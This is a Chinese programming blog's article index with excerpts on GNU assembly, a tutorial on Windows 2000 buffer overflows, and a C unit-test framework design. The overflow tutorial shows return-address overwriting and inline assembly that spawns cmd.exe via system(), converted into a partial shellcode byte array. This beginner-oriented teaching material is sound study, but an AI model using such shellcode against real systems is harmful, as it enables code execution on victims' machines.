博客首页
注册
建议与交流
排行榜
加入友情链接
推荐
投诉
搜索:
帮助
jiushen
jiushen.cublog.cn
管理博客
发表文章
留言
收藏夹
博客圈
音乐
相册
文章
· emacs
· linux
· house
· japanese
· c++
· network programming
· tcp/ip
· c
· mvs
首页
关于作者
||
<<
>>
||
我的分类
文章列表 - c
打开汇编之门
<P>工作这么长时间,一直在C语言这一层面上钻研和打拼,日积月累,很多关于C的疑惑在书本和资料中都难以找到答案。程序员是追求完美的一个种群,其头脑中哪怕是存在一点点的思维黑洞都会让其坐卧不宁。不久前在itput论坛上偶得《Computer Systems A Programmer's Perspective》(以下称CS.APP)这本经典好书,遂连夜拜读以求解惑。虽说书中没有能正面的回答我的一些疑惑,但是它却为我指明了一条通向“无惑”之路 -- 这就是打开汇编之门。</P> <P>汇编语言是一门非常接近机器语言的语言,其语句与机器指令之间的对应关系更加简单和清晰。打开汇编之门不仅仅能解除高级语言给你带来的疑惑,它更能让你更加的理解现代计算机的运行体系,还有一点更加重要的是它给你带来的是一种自信的感觉,减少了你在高处摇摇欲坠的恐惧,响应了侯捷老师的“勿在浮沙筑高台”的号召。现在学习汇编的目的已与以前大大不同了。正如CS.APP中所说那样“程序员学习汇编的需求随着时间的推移也发生了变化,开始时是要求程序员能直接用汇编编写程序,现在则是要求能够阅读和理解优化编译器产生的代码”。能阅读和理解,这也恰恰是我的需求和目标。</P> <P>在大学时接触过汇编,主要是Microsoft MASM宏汇编,不过那时的认识高度不够加上态度不端正,错失了一个很好的学习机会。现在绝大部分时间是使用GCC在Unix系列平台上工作,选择汇编语言当然是GNU汇编了,恰好CS.APP中使用的也是GNU的汇编语法。由于学习汇编的主要目的还是“解惑”,所以形式上多是以C代码和汇编代码的比较。</P> <P>1、汇编让你看到更多<BR>随着你使用的语言的层次的提高,你眼中的计算机将会越来越模糊,你的关注点也越来越远离语言本身而靠近另一端“问题域”,比如通过JAVA,你更多看到的是其虚拟机,而看不到真实的计算机;通过C,你看到的也仅仅是内存一层;到了汇编语言,你就可以深入到寄存器一层自由发挥了。汇编程序员眼里的“独特风景”包括:<BR>a) “程序计数器(%eip)” -- 一个特殊寄存器,其中永远存储下一条将要执行的指令的地址;<BR>b) 整数寄存器 -- 共8个,分别是%eax、%ebx、%ecx、%edx、%esi、%ebi、%esp和%ebp,它们可以存整数数据,可以存地址,也可以记录程序状态等。早期每个寄存器都有其特殊的用途,现在由于像linux这样的平台多采用“平面寻址[1]”,寄存器的特殊性已经不那么明显了。<BR>c) 条件标志寄存器 -- 保存最近执行的算术指令的状态信息,用来实现控制流中的条件变化。<BR>d) 浮点数寄存器 -- 顾名思义,用来存放浮点数。<BR>虽说寄存器的特殊性程度已经弱化,但是实际上每个编译器在使用这些寄存器时还是遵循一定的规则的,以后再说。</P> <P>2、初窥汇编<BR>下面是一个简单的C函数:<BR>void dummy() {<BR> int a = 1234;<BR> int b = a;<BR>}<BR>我们使用gcc加-S选项将之转换成汇编代码如下(省略部分内容):<BR> movl $1234, -4(%ebp)<BR> movl -4(%ebp), %eax<BR> movl %eax, -8(%ebp)<BR>看了一眼又一眼,还是看不懂,只是发现些熟悉的内容,因为上面提过如%ebp、%eax等。这只是个引子,让我们感性的认识一下汇编的“%
查看全文
发表于:2008-01-01 ┆
阅读(215)
┆
评论(0)
Windows 2000缓冲区溢出技术原理
<DIV>面向初学者的,进行详细分析的缓冲溢出入门文章还是很少(我还没有看到),所以我下决心写了这篇文章,从C的局部变量分配以及它和堆栈的关系、返回地址和堆栈的关系、局部变量和返回地址以及堆栈的关系开始写起,并在讲述完原理后进行简单的应用,使理论和应用相结合,以给广大初学缓冲溢出的朋友一点小小的帮助,本文还是具有典型性的,通过本文的学习,可以让我们从一个普通的C程序员,了解到更加底层的技术,本文虽是面向初学者(指初学缓冲溢出,而不是初学C语言),作者假定你(读者)已经是一位熟练的C程序员,并且了解一些Asm编程技术。我也是刚学缓冲区溢出不久,这是我第一次写溢出技术,所以难免有错误的地方,还请大家指正,在ipxodi和袁哥的文章中我学到了很多东西,但ipxodi和袁哥和文章比较深比较专业,初学者学习起来有些困难,特别我又是非计算机专业的(我和绿盟的小四哥一样是电脑会计专业的,向小四哥学习,呵呵!).在这里把我学习时的一点理解,一点经验介绍给大家,希望对广大学习缓冲溢出的朋友有所帮助! </DIV> <DIV> 一、存储分配,局部内存变量,堆栈和函数调用</DIV> <DIV> 1、首先写一个简单的C字符串拷贝程序</DIV> <DIV>//test.c<BR>#include <stdio.h><BR>#include <stdlib.h><BR>#include <string.h></DIV> <DIV>void overflow(void)<BR>{<BR> char buf[10];<BR> strcpy(buf,"aaaaaaaaaa");</DIV> <DIV>}//end overflow</DIV> <DIV>int main(void)<BR>{<BR> overflow();<BR> return 0;<BR>}//end main </DIV> <DIV> 2、按F11进入"Step into"调试模式,其实只需要留意对我们研究和学习有用的汇编程序段,如下:</DIV> <DIV>1: #include <stdio.h><BR>2: #include <stdlib.h><BR>3: #include <string.h><BR>4:<BR>5: void overflow(void)<BR>6: {<BR>00401020 55 push ebp<BR>00401021 8B EC mov ebp,esp<BR>00401023 83 EC 4C sub esp,4Ch<BR>00401026 53 push ebx<BR>00401027 56 push esi<BR>00401028 57 push edi<BR>00401029 8D 7D B4 lea edi,[ebp-4Ch]<BR>0040102C B9 13 00 00 00 mov ecx,13h<BR>00401031 B8 CC CC CC CC mov eax,0CCCCCCCCh<BR>00401036 F3 AB rep stos dword ptr [edi]<BR>7: char buf[10];<BR>8: strcpy(buf,"aaaaaaaaaa");<BR>00401038 68 1C F0 41 00 push offset string "aaaaaaaaaa" (0041f01c)<BR>0040103D 8D 45 F4 lea eax,[ebp-0Ch]<BR>00401040 50 push eax<BR>00401041 E8 6A 00 00 00 call strcpy (004010b0)<BR>00401046 83 C4 08 add esp,8<BR>9:<BR>10: }//end overflow<BR>00401049 5F pop edi<BR>0040104A 5E pop esi<BR>0040104B 5B pop ebx<BR>0040104C 83 C4 4C add esp,4Ch<BR>0040104F 3B EC cmp ebp,esp<BR>00401051 E8 4A 01 00 00 call __chkesp (004011a0)<BR>00401056 8B E5 mov esp,ebp<BR>00401058 5D pop ebp<BR>00401059 C3 ret<BR>11:<BR>12: int main(void)<BR>13: {<BR>00401070 55 push ebp<BR>00401071 8B EC mov ebp,esp<BR>00401073 83 EC 40 sub esp,40h<BR>00401076 53 push ebx<BR>00401077 56 push esi<BR>00401078 57 push edi<BR>00401079 8D 7D C0 lea edi,[ebp-40h]<BR>0040107C B9 10 00 00 00 mov ecx,10h<BR>00401081 B8 CC CC CC CC mov eax,0CCCCCCCCh<BR>00401086 F3 AB rep stos dword ptr [edi]<BR>14: overflow();<BR>00401088 E8 7D FF FF FF call @ILT+5(overflow) (0040100a)<BR>15: return 0;<BR>0040108D 33 C0 xor eax,eax<BR>16: }//end main<BR>0040108F 5F pop edi<BR>00401090 5E pop esi<BR>00401091 5B pop ebx<BR>00401092 83 C4 40 add esp,40h<BR>00401095 3B EC cmp ebp,esp<BR>00401097 E8 04 01 00 00 call __chkesp (004011a0)<BR>0040109C 8B E5 mov esp,ebp<BR>0040109E 5D pop ebp<BR>0040109F C3 ret </DIV> <DIV> 3、返回VStudio IDE,在调用overflow函数处设置断点,再次选择"Run"菜单项,这时程序在调用overflow前停止。(下面的学习你需要不断地翻看上面的Asm程序段)现在看一下在调用overflow之前的几个需要注意的参数,把它们加入"Watch"窗口。</DIV> <DIV>esp 0x0012ff34(注意:这些值在不同的机器上运行时可能会不一样)<BR>ebp 0x0012ff80<BR>buf 变量尚未分配<BR>overflow 0x00401020<BR>main 0x00401070 </DIV> <DIV> 4、按F11跟踪进入overflow,让程序停在6: </DIV> <DIV> 现在再看一下几个主要参数:</DIV> <DIV> esp=0x0012ff30,其它未变(指我们watch的几个标识符,这时eip一定是会变化的)很显然堆栈里压了一个dword(4字节)数据,看看它是什么,打开memory窗口,输入esp,右击窗口内容,选"Long Hex Format",当前的堆栈顶内容0x0040108d,现在请看一下call overflow的下一行,如果找不到请从头搜索"15:"字符串,看到了吗!压入的是call overflow的下一指令地址,也就是我们通常说的"函数返回地址".</DIV> <DIV> 再按F11(执行push ebp),再看一下几个主要参数</DIV> <DIV> esp=0x0012ff2c,现在堆栈顶中是ebp的值0x0012ff80,</DIV> <DIV> 再按F11(执行下面的语句),程序将当前esp值保存在ebp中: mov ebp,esp</DIV> <DIV> 然后就开始分配局部变量了</DIV> <DIV> sub esp,4ch;分配了76(0x4c)个字节这个地方我不太清楚为什么始终要保留64(0x40)个字节,其实只有12(0x0c)字节可用,随后的7句指令:</DIV> <DIV>00401026 53 push ebx<BR>00401027 56 push esi<BR>00401028 57 push edi<BR>00401029 8D 7D B4 lea edi,[ebp-4Ch]<BR>0040102C B9 13 00 00 00 mov ecx,13h<BR>00401031 B8 CC CC CC CC mov eax,0CCCCCCCCh<BR>00401036 F3 AB rep stos dword ptr [edi] </DIV> <DIV> 将这76个字节以dword(4)为单位填充为0xcccccccc,共填充76/4=19(0x13)次让我们在执行完rep stos dword ptr [edi]时先停下来.在watch窗口里加入eip和一个表达式"ebp-0ch",会发现在"ebp-0ch"和buf的地址一样,这就是编译程序在堆栈中为我们分配的局部内存变量的起始地址(如果你懂编译原理,这里很容易理解),在memory窗口里输入ebp-0ch(变量起始地址),右击窗口选"Byte Format",可以看到里面有12个字节是被0xcc填充过的.</DIV> <DIV> 好!现在跟踪执行完call strcpy,再看看Memory窗口的内容,有11个字节被填充,前10个填充为0x61即ASCII字符'a',后一个字节为0这验证了C字符串操作函数总是产生一个空终止字符。</DIV> <DIV> 再往下看,右击选"Long Hex Format"看到它们分别是 0x0012ff80和0x0040108d,什么?有点熟?对啊!我也觉得有点面熟,为什么呢?请回头看一下第4小节的开始部分,找到答案了?对!是"老的ebp"和"函数返回地址",继续跟踪将执行以下几个动作,恢复主要寄存器内容,add esp 4ch销毁了局部内存变量恢复老的ebp(这时堆栈顶的内容为0x0040108d),再ret返回(其实ret相当于执行了一次"pop eip",但并没有这样的指令)执行完这条指令后eip的内容变为0x0040108d,这时已经回到了主函数中,在主函数中将执行几乎同样的动作,最后完成程序执行。</DIV> <DIV> 有人可能会问overflow需要回到main所以用了一个ret,可是main中的ret是做什么用的呢?其实初学者可能并不知道我们的C程序编译后程序的空间结构(简化后的)是这么一个样子的.</DIV> <DIV>----------------------------------<BR>//程序入口点(Program Entry Point)<BR>.<BR>.<BR>.<BR>call _main<BR>push eax<BR>call _ExitProcess<BR>.<BR>---------------------------------- <BR>//void overflow(void)<BR>push ebp<BR>.<BR>.<BR>.<BR>call _strcpy<BR>.<BR>.<BR>.<BR>ret <BR>---------------------------------- <BR>//int main(void)<BR>push ebp<BR>.<BR>.<BR>.<BR>call _overflow<BR>.<BR>.<BR>.<BR>ret <BR>---------------------------------- </DIV> <DIV><BR> overflow中的ret让程序回到main,而main中的ret是为了回到入口点那段程序,以返回操作系统。 </DIV> <DIV> 小结:</DIV> <DIV> 在这一部分里我们学习到了一些为理解缓冲区溢出打基础的东西,如局部内存变量是如何分配的,它于堆栈的关系以及函数调用、函数返回地址与堆栈的关系,把这些东西搞懂了以后我们可以进行一些简单的应用,出于学习原理的目的,接下来我们将用缓冲溢出来实现一个命令控制台窗口(cmd.exe)。</DIV> <DIV><BR>二、利用溢出覆盖,改变程序流程及其简单应用</DIV> <DIV> 1、地址覆盖</DIV> <DIV> 同样的还是第一章开头的那个程序,让我们改成为一个有缓冲溢出问题的程序.</DIV> <DIV>//test.c<BR>#include <stdio.h><BR>#include <stdlib.h><BR>#include <string.h></DIV> <DIV>void overflow(void)<BR>{<BR> char buf[10];<BR> strcpy(buf,"aaaaaaaaaab1234");//<=-----改这里在原来的十个'a'后再加"b1234"</DIV> <DIV>}//end overflow</DIV> <DIV>int main(void)<BR>{<BR> overflow();<BR> return 0;<BR>}//end main </DIV> <DIV> 重新编译,在strcpy处设置断点,然后无错运行到断点处,切换到汇编代码窗口</DIV> <DIV>00401020 55 push ebp<BR>00401021 8B EC mov ebp,esp<BR>00401023 83 EC 4C sub esp,4Ch<BR>00401026 53 push ebx<BR>00401027 56 push esi<BR>00401028 57 push edi<BR>00401029 8D 7D B4 lea edi,[ebp-4Ch]<BR>0040102C B9 13 00 00 00 mov ecx,13h<BR>00401031 B8 CC CC CC CC mov eax,0CCCCCCCCh<BR>00401036 F3 AB rep stos dword ptr [edi]<BR>7: char buf[10];<BR>8: strcpy(buf,"aaaaaaaaaab1234");//<=-----让程序停在这里<BR>00401038 68 1C F0 41 00 push offset string "aaaaaaaaaab1234" (0041f01c)<BR>0040103D 8D 45 F4 lea eax,[ebp-0Ch]<BR>00401040 50 push eax<BR>00401041 E8 6A 00 00 00 call strcpy (004010b0)<BR>00401046 83 C4 08 add esp,8<BR>9: }//end overflow<BR>00401049 5F pop edi<BR>0040104A 5E pop esi<BR>0040104B 5B pop ebx<BR>0040104C 83 C4 4C add esp,4Ch<BR>0040104F 3B EC cmp ebp,esp<BR>00401051 E8 4A 01 00 00 call __chkesp (004011a0)<BR>00401056 8B E5 mov esp,ebp<BR>00401058 5D pop ebp<BR>00401059 C3 ret </DIV> <DIV> 在watch窗口加入ebp和buf,并在memory窗口输入"buf"看一下strcpy函数执行以前的堆栈情况,选择"Long Hex Format",可以看到当前的堆栈情况如下:</DIV> <DIV>0012FEE0 CCCCCCCC<BR>.<BR>.<BR>.<BR>.<BR>0012FF20 CCCCCCCC //<=----buf的起始地址(再次强调,不同机器上运行时这里的值可能会不一样),12字节可用<BR>0012FF24 CCCCCCCC<BR>0012FF28 CCCCCCCC<BR>0012FF2C 0012FF80 //<=----老的ebp,是由函数开始处的push ebp指令填入的<BR>0012FF30 0040108D //<=----函数返回地址即main函数中call overflow指令的下指令地址 </DIV> <DIV> 也可以表示为:</DIV> <DIV>[64个保留字节(填充为0xcc)]<BR>[buf(12个可用字节,当前全部填充为0xcc)]<BR>[老的ebp(当前为0x0012FF80)]<BR>[函数返回地址(当前为0x0040108D)] </DIV> <DIV> 按F10直至执行完call strcpy再看一下memory窗口红色的部分,选择"Byte Format",从buf的起始地址开始被填入了十个0x61('a'),一个0x62('b'),0x31('1'),0x32('2'),0x33('3'),0x34('4'),以及一个0x00,可以看到"老的ebp"已经被我们改变了:</DIV> <DIV>0012FEE0 CCCCCCCC<BR>.<BR>.<BR>.<BR>.<BR>0012FF20 61 61 61 61 aaaa //<=----buf的起始地址,内容已经改变<BR>0012FF24 61 61 61 61 aaaa<BR>0012FF28 61 61 62 31 aab1 //<=----注意!!!!!<BR>0012FF2C 32 33 34 00 234. //<=----老的ebp内容已经被改变<BR>0012FF30 8D 10 40 00 ..@. //<=----函数返回地址未变 </DIV> <DIV> 看一下我刚才让你注意的地方,'b'和'1'将buf的12个可用字节的最后两个字节填充了,而后面的'2','3','4'和0x00做为一个dword覆盖(修改)了ebp的值,再下面一个dword就是函数返回地址,再按F10执行,程序可以正常返回main(因为我们没有修改返回地址值),看到了这里改变函数返回地址成另外一个任意的值(让程序流程跳到另一地址空间)我想已经不是什么难事了吧!</DIV> <DIV> 可能初学缓冲溢出的朋友会问“这管什么用呢?”,不要着急下面我们就看看这样的技术究竟可以做什么!</DIV> <DIV> 2、利用地址覆盖,跳转并执行任意代码</DIV> <DIV> 这一部分开始将有些复杂,你的C/Asm混合编程技术将得到煅炼,写一个程序使程序开启一个cmd.exe原理是这样的:先用LoadLibrary("msvcrt.dll")装载vc运行时库(Runtime Library)再用GetProcAddress("system")获得system函数起址,system函数有什么作用不用我说了吧!如果不明白请参阅msdn.再用system("cmd.exe")开启cmd.exe命令控制台程序如下:</DIV> <DIV>#include <stdio.h><BR>void main(void)<BR>{<BR>__asm<BR>{//在这里模拟出一个函数体内的程序结构,我们自己分配空间来存储"msvcrt.dll","system","cmd.exe"三个字串<BR>push ebp<BR>push ecx<BR>push edx<BR>mov ebp,esp<BR>sub esp,20h//分配32(0x20)个字节就已经够用了<BR>xor ecx,ecx<BR>/**************************************/<BR>//调用LoadLibrary函数装载msvcrt.dll<BR>mov byte ptr [ebp-0bh],'m'<BR>mov byte ptr [ebp-0ah],'s'<BR>mov byte ptr [ebp-09h],'v'<BR>mov byte ptr [ebp-08h],'c'<BR>mov byte ptr [ebp-07h],'r'<BR>mov byte ptr [ebp-06h],'t'<BR>mov byte ptr [ebp-05h],'.'<BR>mov byte ptr [ebp-04h],'d'<BR>mov byte ptr [ebp-03h],'l'<BR>mov byte ptr [ebp-02h],'l'<BR>mov byte ptr [ebp-01h],0<BR>lea eax,[ebp-0bh]<BR>push eax<BR>mov ecx,77e6a254h;//<=----用depends获得的LoadLibrary函数地址,在我的机器上它是不变的,你学习本文时可能要修改<BR>call ecx<BR>mov edx,eax//保存装载后msvcrt.dll在内存中的起始地址<BR>//调用GetProcAddress取得system函数起址<BR>mov byte ptr [ebp-0bh],'s'<BR>mov byte ptr [ebp-0ah],'y'<BR>mov byte ptr [ebp-09h],'s'<BR>mov byte ptr [ebp-08h],'t'<BR>mov byte ptr [ebp-07h],'e'<BR>mov byte ptr [ebp-06h],'m'<BR>mov byte ptr [ebp-05h],0<BR>lea eax,[ebp-0bh]<BR>push eax<BR>push edx<BR>mov ecx,77e69ac1h;//<=----同样的用depends获得的,你学习本文时可能要修改它<BR>call ecx<BR>mov edx,eax//保存获得的system函数在内存中的起始地址<BR>//调用system开启cmd环境<BR>mov byte ptr [ebp-0bh],'c'<BR>mov byte ptr [ebp-0ah],'m'<BR>mov byte ptr [ebp-09h],'d'<BR>mov byte ptr [ebp-08h],'.'<BR>mov byte ptr [ebp-07h],'e'<BR>mov byte ptr [ebp-06h],'x'<BR>mov byte ptr [ebp-05h],'e'<BR>mov byte ptr [ebp-04h],0<BR>lea eax,[ebp-0bh]<BR>push eax<BR>call edx<BR>add esp,4;//system函数使用C调用约定(它的原型没有使用WINAPI这样的标识符)由调用者调整堆栈<BR>/**************************************/<BR>mov esp,ebp<BR>pop edx<BR>pop ecx<BR>pop ebp<BR>}<BR>} </DIV> <DIV> 编译、运行得到命令控制台,调入Step Into调试模式,选择"Disassembly"和"Code Bytes"得到机器代码如下:</DIV> <DIV>char code[]="\x55\x51\x52\x8B\xEC\x83\xEC\x20\x33\xC9"<BR>"\xC6\x45\xF5\x6D\xC6\x45\xF6\x73\xC6\x45"<BR>"\xF7\x76\xC6\x45\xF8\x63\xC6\x45\xF9\x72"<BR>"\xC6\x45\xFA\x74\xC6\x45\xFB\x2E\xC6\x45"<BR>"\xFC\x64\xC6\x45\xFD\x6C\xC6\x45\xFE\x6C"<BR>"\xC6\x45\xFF\x00\x8D\x45\xF5\x50\xB9\x54"//<=----注意:第一个0x00<BR>"\xA2\xE6\x77\xFF\xD1\x8B\xD0\xC6\x45\xF5"<BR>"\x73\xC6\x45\xF6\x79\xC6\x45\xF7\x73\xC6"<BR>"\x45%
查看全文
发表于:2008-01-01 ┆
阅读(181)
┆
评论(0)
C单元测试包设计与实现
<DIV> <P>在Java、C++和C#等高级语言的单元测试正进行的如火如荼的时候,C好像做了看客,冷清的躲在了一个不起眼的角落里。C并不是没有单元测试工具,像Check和CUnit这样的工具也很有名气,只是和大名鼎鼎的JUnit比起来,还是显得有些英雄气短。很多大型的C项目,如APR等都没有使用像Check、CUnit这样通用的单元测试框架,而是另起炉灶自己编写。其实编写一个仅能满足单个项目需要的C单元测试工具包并非难事。在部分参考APR的ABTS的前提下,我们也来设计一套自己的简单的C语言单元测试包。</P> <P>鉴于减少复杂性,我们的目标仅仅是设计和实现一套能在单进程、单线程下工作良好的C单元测试包,我们暂且将之命名为CUT - C Unit test Toolkit。<BR>1、CUT涉及的术语解释<BR>曾经接触过多个有名的单元测试框架如JUnit、CppUnit、TestNG等,它们在对单元测试某些概念的理解上并不是全都一样的。这里我们也有我们自己的定义。<BR>a) 一个逻辑unit test包含至少一个或者多个suite;<BR>b) 一个suite包含至少0或者多个test case;<BR>c) 每个test case中至少包含1个或者多个“断言类”语句。</P> <P>2、CUT预告片<BR>其实每设计一个程序之前自己都会考虑该提供给用户怎样的东东呢?下面是应该是CUT的经典用法:<BR>cut_ts_t *suite = NULL;</P> <P>CUT_TEST_BEGIN("classic usage of CUT");</P> <P>CUT_TS_INIT(suite); <BR>CUT_TC_ADD(suite, "test case: tc_add", tc_add);<BR>CUT_TC_ADD(suite, "test case: tc_sub", tc_sub);<BR>CUT_TS_ADD(suite, my_setup, my_teardown);</P> <P>CUT_TEST_RUN();</P> <P>CUT_TEST_REPORT();</P> <P>CUT_TEST_END();</P> <P>3、CUT的组织结构<BR>从上面的经典用法中也可以看出我们的CUT的组织是这样的:<BR> Test<BR> |<BR> |<BR> +-------------+<BR> TS-1 ... TS-N<BR> | |<BR> | |<BR> +-------+ ... +--------+<BR> TC-1 TC-N TC-1 TC-N<BR>其中:TS - Test Suite,TC - Test Case</P> <P>4、CUT接口设计与实现<BR>在“预告片”中我们已经暴露了大部分CUT的重要接口,在下面我们将伴随着实现逐一说明。另外在CUT的实现中我们使用了APR RING技术,不了解APR RING的可以参见我的上一篇Blog“APR分析-环篇”。<BR>1) 主要数据结构<BR>typedef void (*tc_func)(cut_tc_t *tc); /* Test Case标准原型函数指针,所有的Test Case都应该符合这个原型 */<BR>typedef void (*fixture_func)(); /* 用于suite环境建立和拆除的func原型 */</P> <P>/* Test Case数据结构 */<BR>typedef struct cut_tc_t {<BR> APR_RING_ENTRY(cut_tc_t) link;<BR> char name[CUT_MAX_STR_LEN+1];<BR> tc_func func;<BR> int failed;<BR>} cut_tc_t;<BR>typedef APR_RING_HEAD(cut_tc_head_t, cut_tc_t) cut_tc_head_t;</P> <P>/* Test Suite数据结构 */<BR>typedef struct cut_ts_t {<BR> APR_RING_ENTRY(cut_ts_t) link;<BR> cut_tc_head_t tc_head;<BR> int failed; /* 失败用例总数 */<BR> int ran; /* 运行用例总数 */<BR> fixture_func sf; /* setup func */<BR> fixture_func tf; /* teardown func */<BR>} cut_ts_t;<BR>typedef APR_RING_HEAD(cut_ts_head_t, cut_ts_t) cut_ts_head_t;</P> <P>/* 逻辑单元测试数据结构 */<BR>typedef struct cut_test_t {<BR> char name[CUT_MAX_STR_LEN+1];<BR> cut_ts_head_t ts_head;<BR>} cut_test_t;</P> <P>2) CUT_TEST_BEGIN和CUT_TEST_END<BR>这两者分别是一个逻辑Test的开始与结束。我们在CUT_TEST_BEGIN建立好我们的内部数据结构,其唯一宏参数用来加强可读性,在CUT_TEST_END中释放在测试过程中获取的系统资源。其实现如下:<BR>#define CUT_TEST_BEGIN(desc) \<BR> cut_test_t *_cut_test = NULL; \<BR> _cut_test = malloc(sizeof(cut_test_t)); \<BR> if (_cut_test == NULL) { \<BR> return errno; \<BR> } \<BR> memset(_cut_test, 0, sizeof(cut_test_t)); \<BR> APR_RING_INIT(&(_cut_test->ts_head), cut_ts_t, link); \<BR> strncpy(_cut_test->name, desc, CUT_MAX_STR_LEN)</P> <P>#define CUT_TEST_END() do { \<BR> /* 这里遍历Ring,释放其他相关内存,这里限于篇幅未写出 */<BR> if (_cut_test != NULL) { \<BR> free(_cut_test); \<BR> } \<BR> } while(0)</P> <P>3) CUT_TS_ADD和CUT_TC_ADD<BR>前者负责向一逻辑单元测试中添加Test Suite,后者则负责向一个Test Suite中添加测试用例。在CUT中,每个Test Suite依赖两个Fixture Function- setup和teardown。setup用于建立测试环境,比如打开某文件,获得文件句柄供该Test Suite中的若干Test Case使用;而teardown则用来做后处理,释放setup以及在众多Test Case执行时分配的资源,比如上面关闭提到的文件句柄。</P> <P>在实现CUT的Test Suite时,实际上加了一个对用户使用的限制,那就是CUT负责管理Test Suite的内存分配,说限制也好我觉得倒是给用户提供了一种方便。这两个宏的实现如下:<BR>#define CUT_TEST_SUITE_INIT(suite) do { \<BR> if (suite == NULL) { \<BR> suite = malloc(sizeof(cut_ts_t)); \<BR> if (suite == NULL) { \<BR> return errno; \<BR> } \<BR> } \<BR> memset(suite, 0, sizeof(cut_ts_t)); \<BR> APR_RING_INIT(&(suite->tc_head), cut_tc_t, link); \<BR> suite->ran = 0; \<BR> suite->failed = 0; \<BR> } while(0)</P> <P>#define CUT_TS_ADD(suite, f1, f2) do { \<BR> APR_RING_ELEM_INIT(suite, link); \<BR> suite->sf = f1; \<BR> suite->tf = f2; \<BR> APR_RING_INSERT_TAIL(&(_cut_test->ts_head), suite, cut_ts_t, link); \ <BR> } while(0)</P> <P>#define CUT_TC_ADD(suite, desc, f1) do { \<BR> cut_tc_t *tc = NULL; \<BR> tc = malloc(sizeof(cut_tc_t)); \<BR> if (tc == NULL) { \<BR> return errno; \<BR> } \<BR> memset(tc, 0, sizeof(cut_tc_t)); \<BR> strncpy(tc->name, desc, CUT_MAX_STR_LEN); \<BR> tc->func = f1; \<BR> APR_RING_ELEM_INIT(tc, link); \<BR> APR_RING_INSERT_TAIL(&(suite->tc_head), tc, cut_tc_t, link); \<BR> } while(0)</P> <P>4) CUT_TEST_RUN和CUT_TEST_REPORT<BR>这两个宏的作用分别是运行所有逻辑单元测试中的测试用例和报告测试情况,在这里CUT_TEST_REPORT输出形式较为简单,只是打印出此次单元测试运行用例总数和失败的用例数。当然要丰富其输出形式,让用户更快更早定位哪个测试用例失败也并不难,只需对CUT的实现稍作修改即可,这里仅是抛砖引玉。具体可参见成熟的工具的输出形式,如CUnit等。<BR>#define CUT_TEST_RUN() do { \<BR> cut_ts_t *ts = NULL; \<BR> cut_tc_t *tc = NULL; \<BR> %
查看全文
发表于:2008-01-01 ┆
阅读(193)
┆
评论(0)